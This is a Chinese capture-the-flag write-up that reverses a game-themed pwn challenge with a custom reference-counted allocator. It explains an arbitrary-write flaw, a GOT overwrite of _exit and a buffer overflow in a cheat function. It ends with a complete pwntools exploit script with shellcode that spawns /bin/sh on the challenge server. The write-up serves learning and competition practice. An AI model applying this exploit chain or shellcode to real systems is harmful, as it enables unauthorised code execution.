20171007
前言
这题真难啊,折腾我好久,我都把整个游戏逆出来了,结果最后发现根本不用全部逆出来,哈哈。。不过没事,当作练习逆向了。。哈哈。。。
本题考点
这道题我是没找到什么经典的缓冲区溢出啊格式化字符串啊double free啊UAF啊之类的洞。。。感觉我用的方法挺奇葩的。。。嗯。。。不知道跟大家用的方法一不一样。。。好了不废话了开始分析。。。
逆向部分
大概呢,就是作者自己mmap了一片内存,然后自己设计了一个chunk结构,然后申请内存空间都从这片mmap出来的内存申请。这个chunk结构的header有16字节,第二个一看就知道是chunk_size不说,关键是第一个,我一开始硬是没看出来这个QWORD是啥。。。
_QWORD *__fastcall malloc_adjust(signed int a1)
{
signed int v2; // [sp+Ch] [bp-4h]@3
if ( a1 >= 0 && a1 > 16 ) // >16
{
if ( a1 <= 16 || a1 > 48 ) // >48
{
if ( a1 <= 48 || a1 > 80 ) // >80
v2 = 400; // 80<x
else
v2 = 80; // 48<x<=80
}
else
{
v2 = 48; // 16<size<=48
}
}
else
{
v2 = 16; // x<=16
}
return malloc_(v2);
}//这个malloc_adjust会根据输入调整一下实际分配的大小,就当他是对齐用的吧。。。
然后我们来看看game_start函数的部分代码(输入2 signup时)
if ( v3 == 2 )
{
puts("welcome to Playerunknown's Battlegrounds");
puts("First,you need set your username and password");
v1 = malloc_adjust(48);
dreflhs_rhs_withGC((_QWORD **)&sign_infor, v1);// collapse
puts("input your username");
getstr(sign_infor->username, 0x10LL);
puts("input your password");
getstr(sign_infor->password, 0x10LL);
puts("Second,you need create a character and give him a name");
v2 = malloc_adjust(56);
dreflhs_rhs_withGC((_QWORD **)&sign_infor->status, v2);
sign_infor->status->health = 100LL;
sign_infor->status->capacity = 100LL;
sign_infor->status->stamina = 100LL;
puts("input your character's name");
getstr(sign_infor->status->name, 0x10LL);
puts("all is ok");
}
v1 malloc 之后,会调用一个叫做dreflhs_rhs_withGC的函数,这个函数我前面一直没看懂,硬是盯了好久,才发现这其实是 带GC的 *参数1=参数2 的这么一个操作,所以chunk的第一个QWORD是一个类似引用计数的东西,我们跟进这个函数看看
// *lhs=rhs
_QWORD *__fastcall dreflhs_rhs_withGC(_QWORD **pointer, void *mem_frommymalloc)
{
_QWORD *chunk_mem; // rax@2
_QWORD *chunk; // rax@4
_QWORD *result; // rax@5
if ( mem_frommymalloc )
{
chunk_mem = minus_16(mem_frommymalloc);
incre_ref(chunk_mem);
}
if ( *pointer )
{
chunk = minus_16(*pointer);
reduce_ref(chunk); // collapse
}
result = pointer;
*pointer = mem_frommymalloc;
return result;
}
__int64 __fastcall is_deref_a_inrange(_QWORD *a1)
{
return *a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL;
}
_DWORD *__fastcall ret_addr_of_first_addr(_QWORD *chunk, signed __int64 *pi)
{
signed __int64 i; // [sp+18h] [bp-18h]@3
signed __int64 size; // [sp+20h] [bp-10h]@3
_QWORD *mem; // [sp+28h] [bp-8h]@3
if ( !chunk )
exit(0);
mem = chunk + 2;
size = (chunk[1] - 16LL) / 8;
for ( i = *pi; i < size; ++i )
{
*pi = i;
if ( (unsigned __int8)is_deref_a_inrange(&mem[i]) )
return &mem[i];
}
return 0LL;
}
// also, reflect mem to chunk[2](data part)
_QWORD *__fastcall rec_chunk(_QWORD *chunk)
{
_QWORD *result; // rax@3
if ( !mem )
mem = malloc_adjust(4);
chunk[2] = mem;//任意chunk[2]可以被我们控制,会被赋值为mem的值,QWORD SHOOT here!!!
*mem = chunk; // 可能overflow,但我没用这个
result = mem + 1;
++mem;
return result;
}
__int64 __fastcall reduce_ref(_QWORD *chunk)
{
_QWORD *chunk_1; // rax@3
__int64 i; // [sp+10h] [bp-20h]@1
_QWORD *chunk_; // [sp+18h] [bp-18h]@1
_QWORD **p_elem; // [sp+20h] [bp-10h]@2
__int64 v6; // [sp+28h] [bp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
i = 0LL;
chunk_ = chunk;
--*chunk;
if ( !*chunk_ ) // 如果引用计数变成0
{
while ( 1 )
{
p_elem = (_QWORD **)ret_addr_of_first_addr(chunk, &i);
if ( p_elem == 0LL ) // 如果在chunk中已经没有有效地址了
break;
++i; // 增加i并且做下次循环
chunk_1 = minus_16(*p_elem); // 如果 *pmem 是有效地址(在指定范围中),但不一定是在mmap的堆中, 也会把它当作mmap中的chunk,进行rec_chunk的调用
rec_chunk(chunk_1); // 它被当成了chunk,但不一定是mmap中的chunk(0x41414141-16)
}
rec_chunk(chunk_);
}
return *MK_FP(__FS__, 40LL) ^ v6;
}
这个代码讲起来有些复杂,总之大概就是*a1=a2,并且增加a2的计数,减少a1的计数,如果a1的计数变成0了,就以QWORD为单位遍历缓冲区里面的数,如果碰到在规定范围内的(*a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL),就对其进行处理,如rec_chunk函数所示。然而在这个范围内不一定是mmap中的地址,所以导致一个QWORD SHOOT,但是写入的数据只能是mem的值。 喔,还有就是我逆出来的结构体,供大家参考
00000000 sign_info struc ; (sizeof=0x30, mappedto_1)
00000000 unknown dq ?
00000008 username db 16 dup(?)
00000018 password db 16 dup(?)
00000028 status dq ? ; offset
00000030 sign_info ends
00000030
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 char_status struc ; (sizeof=0x38, mappedto_4)
00000000 name db 8 dup(?)
00000008 unknown dq ?
00000010 health dq ?
00000018 stamina dq ?
00000020 capacity dq ?
00000028 location_ dq ?
00000030 item_ll dq ? ; offset
00000038 char_status ends
00000038
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 item struc ; (sizeof=0x28, mappedto_5)
00000000 item_type dq ?
00000008 weight dq ?
00000010 num dq ?
00000018 next dq ? ; offset
00000020 some_num dq ?
00000028 item ends
00000028
漏洞触发
所以什么时候会触发呢?就是sign第二次的时候,具体逻辑不说了。总之,如果前一个username转换成QWORD值时在范围内(*a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL)时,第二次sign就会导致[username]=mem。。。
漏洞利用
所以怎么利用呢?好的,[任意地址]=mem,而且mem还会自增,还会有其他有效地址被存入mem!(所以有可能破坏mem中的shellcode) 这咋一看没什么用啊!我这种菜鸟,就卡在这想了好久! 最后根据我的不断实验,得出exploit方法:
- sign第一次 cheat_buf = mem
- sign第二次 _exit GOT表 = mem, 这时前一个QWORD SHOOT执行
- sign第三次 username 为1,这时前一个QWORD SHOOT执行,GOT表被修改
- (PS:上面三个sign password和character’s name都是1)
- 执行cheat,修改cheat里面的内存,其实这就是mem里面的内存!放置payload
- 调用_exit,getshell!
注:
- _exit是我不断推敲得出来的,覆盖其他(getchar puts)的话,根本到不了放payload的cheat那里,因为这两个函数调用太频繁
- 然后很尴尬的是,程序没有_exit的调用(主函数),所以找_exit的xref,发现唯一可能让他调用的是这里。。。 ```c int show_location() { int result; // eax@2
switch ( sign_infor->status->location_ ) { case 0LL: result = puts(“Your in a random location”); break; case 1LL: result = puts(“Your in the Sosnovka military base”); break; case 2LL: result = puts(“Your in the Sosnovka military base”); break; case 3LL: result = puts(“Your in the Georgopol”); break; case 4LL: result = puts(“Your in the Novorepnoye”); break; case 5LL: result = puts(“Your in the Mylta Power”); break; case 6LL: result = puts(“Your in the Primorsk”); break; default: puts(“location error”); exit(0); return result; } return result; }
所以找个方法,把sign\_infor->status->location_给污染了,就ok,实际上,如果动态跟一下的话,发现这个status就在cheat_buf的后面,而cheat有明显的溢出漏洞
```c
void cheat()
{
if ( cheat_buf )
{
puts("content:");
getstr((char *)(cheat_buf + 16), 300LL);//overflow!!
}
else
{
cheat_buf = (__int64)malloc_adjust(48);
puts("name:");
getstr((char *)cheat_buf, 16LL);
puts("content:");
getstr((char *)(cheat_buf + 16), 32LL);
}
}
300,够影响到status了,事实上,如果动态跟的话,我们会发现status的地址就在cheat_buf+0x98处(如果按照我都步骤做的话)。。。 然后就是构造payload了。。。
paddings = 0x98
shellcode = "\x48\x8b\x1c\x25\x70\x50\x60\x00\x48\x81\xeb\xa0\xed\x03\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\xff\xd3\x90\x90\x90"
payload = 'A'*8 + shellcode + 'A' * (paddings - 8 - len(shellcode)) + p64(0x605098)
前面8个’A’是因为_exit的实际会跳转到cheat_buf+8处执行,动态跟一下就知道了,然后说说最后的那个0x605098,反正只要满载p->location不在范围内就好,我随便找的一个.data的地址,这个好像是mmap_initial?不记得了,哪个都一样。。。 shellcode基本上就是获取malloc函数地址,计算system地址,push (QWORD)”/bin/sh\x00”(刚好是8字节,哈哈),mov rdi,rsp, call system (伪代码,伪代码,请勿当真) 所以最后exp
from pwn import *
g_local = False
if g_local:
sh=process("./pwn")
else:
sh=remote("123.206.22.95",8888)
#pre: in the initial begin status
#post: same as above
def signup(szUsername, szPassword, szCharname):
global sh
sh.send("2\n")
sh.recvuntil("input your username\n")
sh.send(szUsername + '\n')
sh.recvuntil("input your password\n")
sh.send(szPassword + '\n')
sh.recvuntil("input your character's name\n")
sh.send(szCharname + '\n')
sh.recvuntil("2.Signup\n==============================\n")
#pre: in the initial begin status, usernamepasword correct
#post: game begin status
def login(szUsername, szPassword):
global sh
sh.send("1\n")
sh.recvuntil("Input your username:\n")
sh.send(szUsername + '\n')
sh.recvuntil("Input your password:\n")
sh.send(szPassword + '\n')
sh.recvuntil("0.exit\n")
#pre: game begin status
#post: wo shuo shell ni xin bu?
def cheat_set_payload(szPayload):
global sh
sh.send("5\n")
sh.recvuntil("content:\n")
sh.send(szPayload)
sh.interactive()
signup("\xf0\x50\x60", "1", "1")
signup("\x80\x50\x60", "1", "1")
signup("1", "1", "1")
login("1","1")
paddings = 0x98
shellcode = "\x48\x8b\x1c\x25\x70\x50\x60\x00\x48\x81\xeb\xa0\xed\x03\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\xff\xd3\x90\x90\x90"
payload = 'A'*8 + shellcode + 'A' * (paddings - 8 - len(shellcode)) + p64(0x605098)
cheat_set_payload(payload)